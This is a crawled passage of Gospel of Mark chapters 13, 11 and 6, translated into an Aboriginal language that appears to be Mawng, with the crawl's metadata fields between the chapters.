God!\"\n2 Kayirrk la Jesus iminy, \"Kurlingka nuwurri kurrartayan tuka ta napalal ta kurrampalk? Malany tuka ta kurrampalk kani marrik muj atangaling parak. Malany nganti yirrik apaniwun apannyaka warak. La apanaw purrkut kapin waryat.\"\n3 Kayirrk la Jesus la pata awarrangung rtil wiyu nuyu angparutpan ta Jerusalem la awuran tuka murrgu tuka Olive warlk ngaw la wakapa awuran ap. Malany tuka awaning nakapa apayantung parak ta God nuyu ta karrpin mira ta akurlyak kurrampalk. Kayirrk la Peter, James, John la Andrew marlakan iwulakajpung Jesus,\n4 \"Malany kiki la apanawun ta kurrampalk? La kunuka yirrik arrunpanilangkatpa ta kiki yirrik angpanamin parak?\"\n5 Malany Jesus iminy, \"Kurrungayanti! Nuwurripa kutpayan kirrk la marrik nganti kurrunilagarru.\n6 Murnin wigarra yirrk awanaga la ngantawarnangapukpun ngapi la awanamin 'Ngapi ta Christ ta nganilangakanka God,' la muj wigarra yirrkapa awuntalagarrukun.\n7 Kapin ta kutpanalyu angkanunma nuwurru tuka awanginka lirri ta karrpin, kapin ta nganti yirrik annyunmay nuwurru ta karrpin ta lirri angpanaga. Malany wakapa ta kutpanalyu yunyi kutpurtpin. La naka awanginka ta lirri la ta kunak marrik anjarrkpunyjili akutju.\n8 Malany wugarra yirrk ta lirri awanginka. Malany pata arrarrkpi weminpi la wemin awanginka la muj wera pata arrarrkpi pata tuwuran nungmatpa kunak nakapa awamajpungkinka awanginka pata tuwuran nungmatpa kunak awk. Malany ta nungmatpa kunak awk nakapa angpayirrngun ta kunak wula awunpangatpi. La yara walij apayarrkpunyjilin wu pata arrarrkpi awamaju wirrngak. Malany tukapa nungmurrunti angpanamin parak kayirrk la ta warrwak nakapa karrkpin mira ta lirri angpanaga. Nuwurri kurrungpurrun jita warramumpik ta kinyalkpa ja warrayngiw nakapa kinyiwunpun werrk warrwakapa la kapalkpa ta atjak la ta kanimurlutpurlun. La ta lirri tuka ngungunman nuwurru nakapa angpanamin parak kapin tuka kinyiwunpun jita warramumpik. Warrwakapa la ta lirri angpamalkpaga ta karrpin.\n9 Malany nuwurri kutpayan kirrk la muj kutpayatayan mira ta nuwurru wiyu. Nuwurri ta karrarra rtil ngapi la arrarrkpi pata nganparnama nakapa nuwurri kurruntarnama akutju. Malany kurruntanama warak tuka kurrungpanunma la kurruntanawun yalayala. Kurruntangula kutpalangali tuka pata kawuken pata wimunpimun. Tukapa ta kurrungpanunma wu amparrkamparrk ta ngapi ngartu,\n10 la puka pata arrarrkpi pata kawani wugarra yirrk kunak ngantawurrun ngapi. Malany arrarrkpi pata kawani wugarra yirrk kunak awanalyu ta nungmalal wurluj ta ngapi ngartu warrwakapa la angpayarrkpunyjilin ta kunak.\n11 Malany aralpa pata arrarrkpi kurruntawuta la kurruntanama warak tuka kurrungpanunma malany yunyi kamarrikpa mali ta kiki kutpanamin nuyu ja kiwken. Malany ja Nyunyuk ja Iyarlmu kurrunpannyun ta manjat ta ngaralk ta kutpanamin pu malany ja Nyunyuk ja Iyarlmu iwanamin nuwurru tuka kutpanamin pu.\n12 Malany tukapa ta lirri angpanaw ta karrkpinapa tuka awanginka pata witparlanparlarrut awk. La muj yara pata awulinganut awayirtiki wera pata arrarrkpi awuntanama pata awulinganut wiyu la awuntanawun. La yara pata mayakpu nungpakapa akutju awanamin pu pata awuntumalkpangung. La yara pata arrarrkpi awamilkpungen awuntarnanama pata mayakpu la nigi awk la awuntanama warak wu arrarrkpi la awuntanawun.\n13 Malany wigarra yirrk kurruntanarnama murnin nuwurri ngapi karrarra rtil. La kapin ta kutartparlangkayi la kurrarrang parak nakapa God kurrunpannyatpi jir.\"\nAngpamalkpaga ta nungmurrunti tuka angpanamin arnangkat\n(Matthew 24:15-28; Luke 21:20-24)\n14 Malany Jesus angkat ilangaling ngarlakarlak - la nganti yirrik ja iwannyakajpun angpaniwurrun mira ta ngamin nuwurru - Jesus iminy, \"Ja yaliwi ja numurrunti mira iwanaga la angpannyarrikpakpa wugarra yirrk la iwannyarnama God. La muj iwana iwalangali tuka God ta karrpin mira ta akurlyak kurrampalk ta katangali kapa Jerusalem la wakapa tuka kurrampalk marrik nungmalal ta ilangaling. Kapin ta kurrayanyjing imi, nuwurri ta kutpani Judea kutpamila kutpamajpungkin la kutpangurrin kili tuka murrgu.\n15 La nuwurri ta kutangali yalayala tuka kurrampalk yunyi kutpurnangani kurrurlgen la kurrimang nuwurru atjigarrkarrk.\n16 La nuwurri ta kutangali tuka karrape yunyi kutpurnangani tuka kurrampalk la kurrimang nuwurru atjigarrkarrk la pajupaju. La kutpamila kutpangurrin kili.\n17 Malany tukapa angpanamin arnakat wu pata warramumpik pata kawurlu la muj warramumpik pata kawunpatpi warrayngiw pata wilinyjinyut ta nungpakapa.\n18 Malany nuwurri kutpalangali iwarruj la kurriwalakajpun God, 'Kungpawirtata ta lirri pa marrik yingka ngarru marlu la walmat ngarrunnyatping malany marrik muj ngatjing ngampi yirrik.'\n19 Malany tukapa ta lirri angpanaw wu arnangkat pata arrarrkpi. Malany ta wiyinirrk mira God ininguliny ilinyjinyut imun la ta lirri annyung wakapa la ta kayirrk ta kannyu akutju la ta tora angpanaga muj ta karrkpin mira. Malany ta warrwak anyak ta lirri angpanaw.\n20 Kapin God marrik aniwirtatay ta lirri nakapa amparrkamparrk awamaju yirrk. Malany God awunimany yara pata arrarrkpi la marrik animiyarmang amajung. Malany yanat angpaningula wulurtpuj ta lirri pa marrik amajung.\n21 Kapin ta nganti yirrik imi, 'Ngarri ngarrayawng Christ ja ingurlyak ja God inilangakanka, 'Kayirrk nuka kilangali,' yunyi kurrungma wu ngaralk. La kapin ami, 'Napaka kilangali,' yunyi kurrungma wu ngaralk.\n22 Kapin angpanamin parak wu wigarra yirrk pata arrarrkpi iwanamalagarr la awanamin, 'Ngapi ta ngangurlyak ta Christ ja God nganilangakanka,' la nakapa kurrunpulagarrukun. La yara pata arrarrkpi kiwuma lagarr la awanamin puka pata kawunginka ta God nuyu ta ngaralk, la wenat awayama tuka wungurlyak parak. Malany puka pata arrarrkpi angkawurrun, 'Malany atpunpalagarrun pata arrarrkpi pata God awunimany.' La marrik nungpaka angmi.\n23 La kutpayan kirrk! Ngapi ngamin nuwurru ta kayirrk malany ta angpamalkpa nakapa wularrut kurrungpawurrun parak.\"\nJesus iwamurnanganiga akutju\n(Matthew 24:29-31; Luke 21:25-28)\n24 Malany Jesus angkat ilangaling ngarlakalak la iminang pu, \"Malany tukapa ta lirri angpalakujpin kirrk warrwak la jita muwarn iwanima numurtput la ja kurrana marrik muj aniyirranyjing.\n25 La jita wirlamurrk awk la muj ja jara awk ja kannyapi wutkut tuka yurrng nakapa iwayirrngukun kirrk la manawarlkanyiga. (Tukapa kannyu yirrk tuka God nuyu ja jurra.)\n26 Kayirrk la amparrkamparrk ngarrunpayan ngapi ta God nuyu ta ngangurlyak arrarrkpi nganamurnanganiga tuka kuynu. Malany pata arrarrkpi ngantayan ta ngapi ta ngalatparlangkat mira la ngungatpi wumurra wutkut la muj nganawarlkparran kirrk.\n27 Kayirrk la ngawunpalangaka pata God nuyu kangkuma warak nuyu wurluj wu amparrkamparrk pata wugarra yirrk kunak kawani la muj pata kawani tuka yurrng malany wakapa ngawunpamirtujpa pata God nuyu arrarrkpi - la puka pata arrarrkpi ngawunmany ngapi wiyu ngartu. La wenatapa pata kangkuma warak nuyu wurluj God awuntanamaga pata arrarrkpi nuyu God.\"\nMalany nuwurri kurriwayan ilinyjinyut imun tuka kiki angpanamin parak la kurrungpawurrun ta wanyji ja Jesus iwamurnanganiga\n(Matthew 24:32-35; Luke 21:29-33)\n28 Malany Jesus angkat inginkangung, \"Malany nuwurri kurrungpawurrun mira. Ta nuwurri kutanayan wurrwurr mata mawiya tuka kurnpi nakapa kinyjapurr kanyaga. Malany mata wurrwurr mata mawiya kamamalkapa nakapa nuwurri wularrut kurrungpurrun.\n29 Malany nungpakapa ngungunmangung nuwurru tuka angpanamin parak kayirrk la kurrungpawurrun parak tuka wanyji pa angpamalkpaga. Kapin ta kurrungpayan tukapa angpanamin parak nakapa kurrungpawurrunka ta ngapi wanyji kannyaga ngartu ta nganamurnanganiga.\n30 Malany ngapi nganamin nuwurru ta manjat! Malany tuka ngininy monmon nuwurru nungpakapa angpanamin parak nuwurru nuwurri ta kayirrk kutpani rtirr.\n31 Malany nungpakapa angpayarrkpunyjilin kirrk tuka yurrng la tuka kunak - ilinyjinyut imun iwayarrkpunjilin kirrk la ta ngapi ngartu ta ngaralk marrik anjarrkpunyjili. La ngapi ngartu ta ngaralk angpanaw akut la akut. La marrik muj anjarrkpunyjili akut.\"\nYunyi kurrurnparra la kutpawani rtirr\n(Matthew 24:36-44)\n32 Malany Jesus angkat ilangaling ngarlakalak iminy pu, \"Ngapi nganamin nuwurru ta manjat! Marrik nganti muj aniwurru tuka God iwanamin tukapa. La muj marrik nganti aniwurru ta ngurrij la muj jita muwarn. La pata God nuyu kangkuma warak wurluj kapa tuka yurrng marrik angkuwurru la muj ngapi wiyu marrik ngungpurru. La ja ngapi nganimalkpany ja kiwani yurrng yanatju yarakap kaniwurrun.\n33 Malany nuwurri marrik kurrungpurru ta God iwanamin tukapa. Kayirrk nuwurri kurrungpawurrun angkat ta tukapa tuka ngaminy nuwurru - la yunyi kurrurnparra la kutpawani rtirr.\n34 La kayirrk nuwurri kutpanalyu tuka ta ngungpanunma nuwurru. Wakapa ja arrarrkpi atjarutpan ta kurrampalk la yuran. Malany yanat iminy pu pata awuyamangung nuyu, \"Kurrungpayatayan ta kunak la kutpayama ngartu.\" Yanat iminy nuyu ja annyayatayantung tuka awurlgenangka, \"Angkat anpanuken pa nganpayan ta nganamurnanganiga.\"\n35-36 Malany pata awuyamangung nuyu marrik inyjuwurruni jita muwarn tuka iwamurnanganiga ja nuyu kurrampalk. Ngungpurrun imurnanganingka ta inypanuryi warak la yara ngungpurrun yingka ta wupurrk wungijalk la yara ngungpurrun imurnanganiga ta iyirtpirrakega ta karlurri kinginka. Malany nuwurri kapin pukapa pata awuyamangung nuyu - nuwurri marrik kurrinypurru jita muwarn ta nganamurnanganiga kanipa la nuwurri kutpangulinngulin angkat ngartu. La nuwurri kutpawani rtirr angkat ngartu ngapi kapin nukapa ja kilangali ja kiwken tuka karrurlgenka. La yunyi kutartpalililmin la kurrunngawunpun ngurrij.\n37 Malany ngapi kurruntangkatpa la muj ngawunpalangkatpa akutju wigarra yirrk la marrik kurrurnparray la kutpawani rtirr!\"","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK13.html","date":"2023-02-06T11:56:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00313.warc.gz","language":"mph","language_score":0.9999707937,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mph_Latn_score\": 0.9999707937240601}","num_words":1352,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"11\nJesus yarrangung parak kapa Jerusalem\n(Matthew 21:1-11; Luke 19:28-40; John 12:12-19)\n1 Malany Jesus la pata awarrangung rtil wiyu nuyu angkat awarrangung parak la amalkpangung parak ta Jerusalem. Kayirrk la awuranka tuka ngarrkarrk ta kunak wungurlaj Bethany la Bethphage, tuka murrgu kamalangali mata Olive mata warlk.\n2 Malany wakapa Jesus iminy pu ngarrkarrk pata awarrangung rtil wiyu nuyu, \"Kutpana tuka wanyji kunak.\" Kayirrk la iminy pu, \"Malany ta kutpamalkpa wakapa kurriwayan ja miyul iwuwutiny alguru tuka warlk. Marrik nganti muj innyarlkpanyi akutju nakapa ja wurrwurr ja miyul. Malany ngapi kurrunmiyarma kutanartpirra nuyu mata alguru la kurriwanamaga ngartu ngapi.\n3 Malany nganti ja kurrunpanilakajpun nuwurri, 'Kunuka nuyu kurrima warak ja miyul', la kutpanamin nuyu, 'Ja ngarri kiwken ngarru kinimiyarma, la yunyi kuwurrun, malany iwanimurnanganiga nuwu warrwak.' \"\n4 Malany pata ngarrkarrk arrarrkpi awuranapa tuka kunak. Malany warrwakapa la iwayawng ja miyul, parangapa la mampartpirrantung nuyu mata alguru tuka wanyji kurrampalk ilangaling.\n5 Malany yara pata arrarrkpi awulangaling wakapa aminy pu, \"Malany nuwurri kiki kutpin? Nuwurri kunuka nuyu kutpartpirra nuyu mata alguru nuka ja wurrwurr ja miyul?\"\n6 Kayirrk la pata Jesus awarrangung rtil wiyu nuyu aminy pu, \"Jesus ngaralk nuyu iminy ngarru.\" Malany pukapa pata arrarrkpi awunparutpanapa iwumany parak.\n7 Kayirrk la iwumany parak ja miyul nuyu Jesus. Malany wakapa iwuwalkariny nuyu manpurrwa ja miyul, kayirrk la Jesus yuranap tuka manpurrwa ja tuka miyul iwutpan nuyu parangapa la innyarkpangung parak kapa Jerusalem.\n8 Malany wigarra yirrk pata arrarrkpi iwutpangung ja manpurrwa wu tuka alan angpungulangung alan nuyu ja miyul la yara pata arrarrkpi awuran tuka karrape la mampulalkungung mawiya awk la mamputpangung tuka alan akutju pa wakapa yarrangung juju warak ja miyul tuka merrk mamputpangung awk.\n9 Malany yara pata arrarrkpi awurakangung nuyu ja Jesus la yara pata warrwak iwululkungung. Parangapa la awulajantung la aminang,\n\"Hosanna! God nuyi ta nukurlyak la nuyi kungurlyakpany nuka ja arrarrkpi ingurlyakpiny akutju.\nMalany nuwulyanatju ngarrunpanatpi jir. Hosanna!\nGod nuyi kuwung ta wutkut nuka ja arrarrkpi la ta kayirrkapa ngarri kerraga ngarru.\n10 Nuyi God kurruntakajpun kuwangurlyakpa nuka ja arrarrkpi iwanuken ngarru amparrkamparr kapin ja yanat kimin wawupawu ja yukenang pu David.\nGod ta kanpani tuka yurrng nuyi ta nukurlyak la muj nuyi kungurlyakpany nuka ja arrarrkpi akutju.\nMalany nuwulyanatju ngarrunpanatpi jir!\"\n11 Malany Jesus imalkpany tuka Jerusalem wakapa yarran parak yurlgeny tuka God nuyu ta karrpin mira ta akurlyak kurrampalk. Kayirrk la yukekenang annyayantung ta kiki aminang. La jita muwarn wularrut inyuryiling parak kayirrk la ja Jesus la pata 12 pata awarrangung rtil wiyu nuyu amalkpany yalayala amurnangannyang parak kapa Bethany.\nJesus inginkan arnangkat la manilakajpung mata warlk\n(Matthew 21:18-19)\n12-13 Kayirrk la ta nungmatpa ngurrij Jesus la pata awarrangung rtil wiyu nuyu amajpungkinyka kapa Bethany amurnangannyang parak kapa Jerusalem. Malany Jesus mannyayawng mata warlk malany wakapa wanyji malangaling. Mukapa mata warlk kamangatpi mangijalk kapin yirrkari. Malany Jesus imajung wirrngak kayirrk la yarran parak yukeny arlarrarr la mawiya marntiking muj arlarrarr ja ingijalk. (Murnin ja ingijalk marrik iningulanyi, malanypi warrwak la ingijalk iwaningula.)\n14 Kayirrk la pata Jesus awarrangung rtil wiyu nuyu awalyungan nuyu ta kiki iminy ngaw mata warlk, \"Marrik muj nganti inilang ja ingijalk mata nuyi nuwu mata warlk\".\nJesus awunimalkpany yala pata aminang ta nungmurrunti tuka God nuyu ta karrpin mira ta akurlyak kurrampalk\n(Matthew 21:12-17; Luke 19:45-48; John 2:13-22)\n15 Kayirrk la Jesus la pata awarrangung rtil wiyu nuyu amalkpany Jerusalem. Malany awurlgeny parak tuka God nuyu ta karrpin mira ta akurlyak kurrampalk. Malany wakapa ta wukej tuka God nuyu ta karrpin mira ta akurlyak kurrampalk pata arrarrkpi awulakpolorrkang karlurri awk la angpatpang mulil. La wera pata arrarrkpi awukunyjilinang pata Roman wu ja rrupiya la pata Jew wu ja rrupiya pa awunpuning parak pata awukenang pu tuka God nuyu ta karrpin mira ta akurlyak kurrampalk ja Jew wu ja rrupiya. Malany tukapa aminang tuka God nuyu ta karrpin mira akurlyak kurrampalk. Malany marrik muj angpatpa wanji nungpaka nungmurrunti ta aminang. La yara pata arrarrkpi pata awulakpolorrkang nakapa awuling wumpulaj. Malany Jesus wakapa awunimalkpany kirrk pata arrarrkpi wakapa pata awulangaling awk tuka God nuyu ta karrpin mira ta akurlyak kurrampalk - pata awulakpolorrkang la pata awukunyjilinang. Malany yanat mannyakan parak mata palapala tuka rrupiya awk yung, la muj mannyakan parak warlk mata awarnting pata arrarrkpi la awulakpolorrkang karlurri awk.\n16 Malany yanat awunilatpaniny marrik muj nganti inimalkpanyi la innyaluntanyiga yirrk awk tuka God nuyu ta karrpin mira ta akurlyak kurrampalk la muj tuka mingkaga.\n17 Malany tukapa iminang ja Jesus tuka awunnyukikang, la warrwak la iminy, \"Ta wularrut mira God iminy pu pata yanat nuyu arrarrkpi, 'Kurrungpamirrawun tuka ta ngaralk tuka ngapi ngartu jurra' 'God kawunimiyarma arrarrkpi pata tuwuran wugarra yirrk kunak ta awanaga awalangali iwarruj nuyu tuka yanat nuyu ta karrpin mira ta akurlyak kurrampalk.' Malany kayirrk nuwurripa kurrungmilkpungeny tuka God nuyu ta karrpin mira ta akurlyak kurrampalk 'la kayirrkapa kutpin nungmurrunti mira tuka kuti wumpulaj wu pata wera.' \"\n18 Malany pata Jew pata awunpukikang ta wulatpiyi wu la muj pata awukenang pu ta awulangaling mulil marrik amina marrmarr. Malany wenat awalyungan ta kiki iminy ja Jesus tuka God nuyu ta karrpin mira ta akurlyak kurrampalk parangapa la aminang pu la wemin, \"Kiki atpanamin la arriwanawun?\" La pata Jew arrarrkpi pata awukenang pu amurtpiny iwumurtpan. Parangapa la pata wigarra yirrk pata arrarrkpi naka aminang marrmarr mira nuyu ja Jesus la muj angkumiyarmangung mira tuka awalyung nuyu tuka awunyukikang.\n19 Malany ta inyuriliny parak Jesus la pata awarrangung rtil wiyu nuyu angparutpan ta Jerusalem.\nWarlk mata mamajungan\n(Matthew 21:20-22)\n20 Malany ta ngulamngulam Jesus la pata awarrangung rtil wiyu nuyu awarrangung parak la mampuwarlkijpangung parak mata warlk mata manilakajpung ta nungmatpa ngurrij. Malany ta awukeny mampayawng nakapa mamajungan mawelpikpiny kirrk.\n21 Kayirrk la Peter aniwurrung parakapa tuka Jesus inginkan la iminy, \"Nuyi ta Ngarrunukiki nakapa mata warlk mamajungan mawelpikpiny kirrk tuka nuyi annginkan la anminy ngaw mata warlk, 'Marrik muj nganti inilang ja ingijalk mata nuyi nuwu mata warlk.' \"\n22 Kayirrk la Jesus iminy nuyu, \"Nuyi muj anmi akutju nungpakapa kapin ta anmartukpu mira nuyu God.\n23 Malany ngapi ngamin nuwu ta aralpa kapin ta kulakajpu ja God la anmartukpu mira nuyu nakapa iyamang nuwu. Kapin ta anmartukpu mira nuyu martapapa nakapa anmi ngaw ta murrgu, 'God kunpanimajpungku kunpannyaka tuka kurrula' malany yanat God yalyung nuwu la imi nungpakapa.\n24 Kurralyunyi ngartu! Kapin ta kutpartukpun mira nuyu God nakapa kurriwalakajpun kunuka ja kurrimiyarma mira. La muj kapin ta kutpartukpu nuyu akut la akut - kapin nuyi kanmartukpun nuyu tuka wularrut kunnyung - malany yanat God iwanalyu nuwu tuka anpalangali iwarruj nuyu la kunpannyun ta nungmalal.\n25 Malany tuka nuyi wiyu anpalangali iwarruj nakapa kungpawurrun werrk ta tukapa: la kapin nganti yirrik ja iminy nuwu ta nungmurrunti naka marrik muj kungatping parak la anpanarra purlalngalk nuyu ja arrarrkpi - la muj kungatpi tuka kiki iminy nuwu la nuyi anpanarra purlalngalk nuyu ja arrarrkpi. Kapin ta anmi nungpakapa nakapa God angpannyaka yirrk nuwu ta aliwiyut tuka anminang. Yanat angpannyaka yirrk nuwu tuka kunpurtjung la muj tuka nungmurrunti ami nuwu la nuyimung. Malany nuyi werrk kungpaka yirrk nuwu ta aliwi la muj anpanarra pularlngalk wu pata wera pata arrarrkpi pata aminang nuwu ta nungmurrunti. Kayirrk la anpalangali iwarruj nuyu ja God.\"\nNganti ja Jesus kiwken nuyu?\n(Matthew 21:23-27; Luke 20:1-8)\n27 Malany warrwak la Jesus la pata awarrangung rtil wiyu nuyu awuran Jerusalem la awurlgeny parak tuka God nuyu ta karrpin mira ta akurlyak kurrampalk. Malany ta yanat yarran parak la yara pata Jew arrarrkpi awukenang pu iwuyarrung parak ja Jesus. Malany wenat apa pata awukenang ta awulangaling mulil la muj pata awunpukikang ta wulatpiyi la muj pata wimunpimun wakapa awulangaling kirrk.\n28 Kayirrk la iwulakajpung Jesus, \"Nganti iminy nuwu tuka anmakangung mata palapala la mata jaya la anpunmalkpany yirrk puka pata arrarrkpi kani kawulangali tuka God nuyu ta kurrampalk? Nganti ja kiwken iminy nuwu ta anminy pu?\"\n29 Kayirrk la Jesus iminy pu, \"Nuwurri werrk ngarrunpalakpa. Kapin ta ngarrunpalakpa nakapa nganamin nuwurru ja kiwken ja iminy ngartu ngawunpamalkpa tuka ta God nuyu ta karrpin mira ta akurlyak kurrampalk.\n30 Tukapa nganamin nuwurru: nuwurri kurriwurrun ja John ja aningurtpurlukpuning pu? Malany nganti iminy nuyu ta aningurtpurlukpuning pu pata arrarrkpi pa angpakangung kirrk tuka aliwi aminang? Kurlingka pata arrarrkpi angpungulinyju ta wu wiyu, la kurlingka God iminy nuyu ja John ta aningurtpurlukpuning pu?\"\n31 Malany pata Jew awukenang pu awuntumany la wemin la awunpulakajpuning la wemin la aminy pu la wemin, \"Malany kapin ta arrkpi nuyu, 'ja John nakapa imartukpung nuyu God' nakapa arrungma kit lirri. La imi ngarrurru, 'La kunuka nuyu nuwurri marrik kurralyunyi nuyu?'\n32 Malany marrik muj arrkpi wu, 'Puka pata arrarrkpi wenat wiyu angpunguliny tuka aningurtpulukpuning pu' \". Malany wenat pata wimunpimun wularrut angkuwurruning ta puka pata arrarrkpi ta angkuwurruning ja John ja ingurlyak ja arrarrkpi tuka ininnyang monmon pu ta God nuyu ta wurluj. Malany wenatapa pata wimunpimun angkuwurruning la aminy, \"Ngampi awkpi arruntuwu kapin ta arrkpi nuka marrik inguryak.\" Malany wenatapa awuntumurtpangung pata arrarrkpi.\n33 Kayirrk la pata Jew awukenang pu aminy, \"Ngarri ngarrungmuy ta nganti iminy nuyu ja John ta aningurtpulukpuning pu.\"\nKayirrk la Jesus iminy pu, \"Kapin ta marrik ngarruntakpang ngapi marrik muj ngami nuwurru. La marrik muj ngami nuwurru nganti ja kiwken ta iminy ngartu ta ngamin tukapa awk!\"","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK11.html","date":"2023-02-06T13:12:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00091.warc.gz","language":"mph","language_score":0.9999778271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mph_Latn_score\": 0.9999778270721436}","num_words":1464,"character_repetition_ratio":0.106,"word_repetition_ratio":0.015,"special_characters_ratio":0.181,"stopwords_ratio":0.503,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"6\nJesus marrik iwumiyarmanyi pata tuwuran Nazareth\n(Matthew 13:53-58; Luke 4:16-30)\n1 Jesus la pata awarrangung rtil wiyu nuyu angparutpan amurnanganiny tuka Jesus nuyu ta kunak wungurlaj Nazareth.\n2-3 Puka pata Jew arrarrkpi wu ta wungurlyak ngurrij Jesus yarran parak tuka Jew arrarrkpi wu tuka awaning ngarlakarlak ta akurlyak kurrampalk la inimany rtalk ininyang monmon pu pata arrarrkpi ta God nuyu ta ngaralk. Wimurra pata arrarrkpi awalyungan nuyu awurlkpalangkeny. Kayirrk la aminy pu la wemin, \"Arta, nuka ja karriwurrun ja arrarrkpi. Yanatapa ja nuwuran kanipa. Jita inyalkpany nuyu Mary ninypuran kani la muj pata awulinganut James, Joses, Judas la Simon la muj pata warramuntujut nuyu. Malany yanat iyamangung atjarnekenang. Kurlingka yanat kaniwurrun kirrk? La ngampiwi animany ta tuka ta wutkut ta arrarrkpi kawunnyatpi?\" Puka pata tuwuran Nazareth arrarrkpi marrikpan mali marrik angkumiyarmanyi awalyunyi nuyu.\n4 Kayirrk la Jesus iminang pu, \"Tuka God kinnyun ja arrarrkpi kinini monmon ta ngaralk nuyu, pata arrarrkpi amparrkamparrk kamartukpun nuyu. La puka pata arrarrkpi kangkuwurrun ja nukapa ingurlyak arrarrkpi tuka iminang warranyngiw, malany marrik kayirrk amartukpu nuyu. Kapin muj pata witparlanparlarrut akutju marrik awalyung nuyu.\"\n5 Puka pata arrarrkpi pata tuwuran wakapa marrik muj angkumiyarmanyi ta ngaralk awuningulakanti wakapa. La yanatju awunnyatpung werawungut pata arrarrkpi la awuningulakantiny nungmalal.\n6a La yanatapa ja Jesus iwurlkpalangkeny murnin wenat amilkpungeny iwung kirrwara la marrik awalyunyi nuyu ta ngaralk.\nJesus awunilangakan pata wurrkamaj yurnu la wurrkamaj yurnu la ngarrkarrk pata awarrangung rtil wiyu nuyu\n(Matthew 10:5-15; Luke 9:1-6)\n6b Kayirrk la Jesus yuran kunak la kunak awunnyukikang God nuyu ta wurluj.\n7-11 Malany wakapa Jesus awaning ngarlakarlak pata wurrkamaj yurnu la wurrkamaj yurnu la ngarrkarrk pata wingurlyakut pata yanat awarrangung rtil wiyu nuyu. Yanat iminy pu, \"Nuwurri kutpana kunak la kunak kurrungpanunma ta God nuyu ta wurluj wu pata arrarrkpi. La wenat akutju kurruntayatayan tuka kutpunpayarrun parak. La yunyi kurrima warak ja palaji la walij, la ja rrupiya la muj manpurrwa. Nuka kurriwanama warak ja kajarntangali la mata yumparljumparl nuwurru. Warrwak tuka kutpamalkpa tuka kunak, la pata arrarrkpi awanamin marrmarr nuwurru pa kutpawani rtil, malany nuwurri wakapa kutpawani tuka arakap ta kurrampalk. La pata arrarrkpi marrik kurruntumiyarmang ta wakapa, la marrik wenat awalyung nuwurru ta ngaralk, wakapa kurrungpanarutpa warak. Kapin ta kurrungpanarutpa, la kurrapanawun tawktawk kurrungpaka ta yurlngpuj nuwurru tuka yurnu murnin nungpakapa ta wulatpiyi nuwurru. Nuwurripa kutpanamin pu, 'Nuwurri marrik kurralyunyi nuyu ta ngaralk ja God la yamin wali iwanamin nuwurru la iwayintukun nuwurru.' \"\nKayirrk la Jesus iminy pu pata awarrangung rtil wiyu nuyu, \"Ngapipa kayirrk kurrunpanawn ta wutkut tuka kurriwaka wu ja yaliwiyut pata arrarrkpi.\" Kayirrk la wakapa ja Jesus awunilangakan tuka awayama nuyu God. Yanatapa awunilangakan pata 12 pata awarrangung rtil weminpi la wemin ngarrkarrk la muj ngarrkarrk pata arrarrkpi tuka awuyamany nuyu.\n12 Wenat awuyamany tuka Jesus iminy pu. Wakapa awuran tuka kunak la kunak la angpunmangung pu amparrkamparrk tuka God nuyu wurluj. Wenat aminy pu pata arrarrkpi, \"Kutpilkpungena, kurrungarutpanyi ta kurrunngetpi la kurrunjarruni ta God nuyu\".\n13 Pukapa pata awarrangung rtil wiyu nuyu Jesus pata arrarrkpi iwakakan wu ja yaliwi ja iwatpang. La muj awunpulatpantiny ta yirri pata arrarrkpi pata amajunmajung la awungulikiny kirrk.\nHerod ja yukenang pu inimarlalkuny ja John ja Aningurtpulukpuning pu\n(Matthew 14:1-12; Luke 9:7-9)\n14-29 Nungpakapa ta ngungpanunma nuwurru ta angmalkpany nuyu John ja Aningurtpulukpuning pu. Malany wakapa ja yukenang pu Herod inyimany wumpulaj warramumpik ninyngurlaj Herodius jita Philip nuyu ja awulingan Herod. La John yarran parak iminy nuyu manjat ja Herod, \"Arta! Yunyi kunyma wumpulaj juka jita nuyi kutingan nuyu jita warramumpik.\"\nKayirrk la inyjirrinyminy angarnamangung ingawuni jita Herodius ja John la marrik kiki inymina, murnin ja Herod awunilangakan pata arrarrkpi iwumanyi ja John kayirrk la iwawutikin iwanutpa tuka kawuntuwutaka ta kunak. Kayirrk la jita Herodius marrik kiki inymina nuyu. Malany Herod imurtpiny murnin aniwurruning yanat John ja manjat ja numalal ja arrarrkpi la aniyarruning ta God nuyu ta alan akut la akut. Kayirrk la Herod inimiyarmany awaninga ngarlakarlak la ta John iminang nuyu wakapa yalyungan la marrikpan mali ja Herod.\nWarrwak la Herod anilangakan wurluj wu pata arrarrkpi pata awukenang pu la ja Herod nuyu pata arrarrkpi pata wimunpimun pata awukenang pu Galilee nuyu awulangaling mulil ta algaj ilurrang. La jita Herodius inyminy mali iwangawun ja John.\nWakapa la jita Herodius inyalkpany ngaw jita warrawurnji ingarlukpangung nungmalal aminy marrmarr mira. Kayirrk la Herod iminy ngaw, \"Ta kumiyarma tuka ta kunak awk nakapa kunpanawn. Ta kungmiyarma nakapa kunpawilkpun kunpanawn kunak la ngiwawilkpun ngiwanutpa tuka kunak ngartu la yara ja ngapi ngiwanatpi. La kunuka kumiyarma? Nungpakapa manjat ta ngapi ngamin nuwu. Ngapi marrik kuntagarru.\"\nJita ninyngalalk inyuran yalayala inyngalakajpung jita nigi, \"Kiki nganamin nuyu la ngiwalakajpun?\"\nLa jita nigi inyminy, \"Anpamurnangani warak kuwalakajpun ja Kiwken iwanilangaka ja arrarrkpi iwanimarlalku ja John ja Aningurtpulukpuning wu arrarrkpi la ta wanji nuyu kunpannyun.\"\nMalany jita warrawurnji inyngurriny tuka Herod, inymalkpany nuyu la inyminy nuyu, \"Ngungmiyarma kuwamarlalku kungpaka nuyu wanji John ja Aningurtpulukpuning pu arrarrkpi la kungpanutpa ta wanji tuka wilampilam, kayirrk la nganpanawn 